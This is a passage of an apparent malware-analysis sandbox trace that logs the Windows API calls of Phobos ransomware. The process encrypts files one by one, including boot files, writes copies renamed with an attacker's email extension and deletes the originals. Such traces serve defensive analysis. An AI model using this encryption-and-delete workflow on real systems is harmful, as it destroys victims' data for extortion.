pdwDataLen=0x37af7c8*=0x3f00, dwBufLen=0x3f00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3f00) returned 1 [0047.006] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3f00, lpOverlapped=0x0) returned 1 [0047.009] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc10) returned 1 [0047.009] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.009] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0047.009] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0047.009] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0047.010] CryptDestroyKey (hKey=0x10dca90) returned 1 [0047.010] CloseHandle (hObject=0x330) returned 1 [0047.010] CloseHandle (hObject=0x328) returned 1 [0047.015] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0047.026] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.026] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.026] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=93314) returned 1 [0047.026] CloseHandle (hObject=0x310) returned 1 [0047.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0047.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.027] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.027] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.027] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.027] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.033] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0047.033] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.033] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x16c82, lpOverlapped=0x0) returned 1 [0047.042] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x16c90, dwBufLen=0x16c90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x16c90) returned 1 [0047.042] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x16c90, lpOverlapped=0x0) returned 1 [0047.045] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc5d0) returned 1 [0047.045] CryptSetKeyParam (hKey=0x10dc5d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.045] CryptEncrypt (in: hKey=0x10dc5d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0047.045] CryptDestroyKey (hKey=0x10dc5d0) returned 1 [0047.045] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0047.045] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0047.045] CloseHandle (hObject=0x310) returned 1 [0047.045] CloseHandle (hObject=0x314) returned 1 [0047.047] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0047.048] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.048] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.049] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3628) returned 1 [0047.050] CloseHandle (hObject=0x314) returned 1 [0047.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0047.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.050] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.050] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.050] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.050] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.050] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb50) returned 1 [0047.050] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.050] ReadFile (in: hFile=0x314, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xe2c, lpOverlapped=0x0) returned 1 [0047.067] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe30, dwBufLen=0xe30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe30) returned 1 [0047.068] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xe30, lpOverlapped=0x0) returned 1 [0047.068] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0047.068] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.068] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0047.068] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0047.069] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0047.069] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0047.069] CloseHandle (hObject=0x314) returned 1 [0047.069] CloseHandle (hObject=0x310) returned 1 [0047.069] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0047.071] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.071] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.072] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=30120) returned 1 [0047.073] CloseHandle (hObject=0x314) returned 1 [0047.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0047.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.085] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.085] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.085] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.085] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0047.086] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0047.086] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.086] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x75a8, lpOverlapped=0x0) returned 1 [0047.220] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x75b0, dwBufLen=0x75b0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x75b0) returned 1 [0047.220] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x75b0, lpOverlapped=0x0) returned 1 [0047.221] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc550) returned 1 [0047.221] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.221] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0047.221] CryptDestroyKey (hKey=0x10dc550) returned 1 [0047.221] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0047.221] CryptDestroyKey (hKey=0x10dca10) returned 1 [0047.221] CloseHandle (hObject=0x304) returned 1 [0047.221] CloseHandle (hObject=0x328) returned 1 [0047.222] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0047.224] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.224] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0047.224] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=38898) returned 1 [0047.224] CloseHandle (hObject=0x328) returned 1 [0047.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0047.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.224] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0047.224] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.224] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.224] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.224] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc910) returned 1 [0047.224] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.224] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x97f2, lpOverlapped=0x0) returned 1 [0047.578] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9800, dwBufLen=0x9800 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9800) returned 1 [0047.578] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x9800, lpOverlapped=0x0) returned 1 [0047.580] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0047.580] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.580] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0047.580] CryptDestroyKey (hKey=0x10dc690) returned 1 [0047.580] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0047.580] CryptDestroyKey (hKey=0x10dc910) returned 1 [0047.580] CloseHandle (hObject=0x328) returned 1 [0047.580] CloseHandle (hObject=0x304) returned 1 [0047.581] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0047.582] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.582] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.582] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.582] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.675] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=65536) returned 1 [0047.675] CloseHandle (hObject=0x304) returned 1 [0047.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0047.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.675] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.675] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0047.675] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0047.675] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.675] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x10000, lpOverlapped=0x0) returned 1 [0047.684] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10010, dwBufLen=0x10010 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10010) returned 1 [0047.684] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x10010, lpOverlapped=0x0) returned 1 [0047.686] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0047.686] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0047.686] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0047.686] CryptDestroyKey (hKey=0x10dc710) returned 1 [0047.686] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0047.686] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0047.686] CloseHandle (hObject=0x304) returned 1 [0047.686] CloseHandle (hObject=0x328) returned 1 [0047.688] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0047.975] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0047.975] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.975] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=8192) returned 1 [0047.976] CloseHandle (hObject=0x31c) returned 1 [0047.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0047.976] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0047.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootsect.bak.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.976] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.976] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.976] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0047.976] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootsect.bak.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0048.043] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0048.043] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0048.043] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2000, lpOverlapped=0x0) returned 1 [0048.056] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2010, dwBufLen=0x2010 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2010) returned 1 [0048.056] WriteFile (in: hFile=0x328, 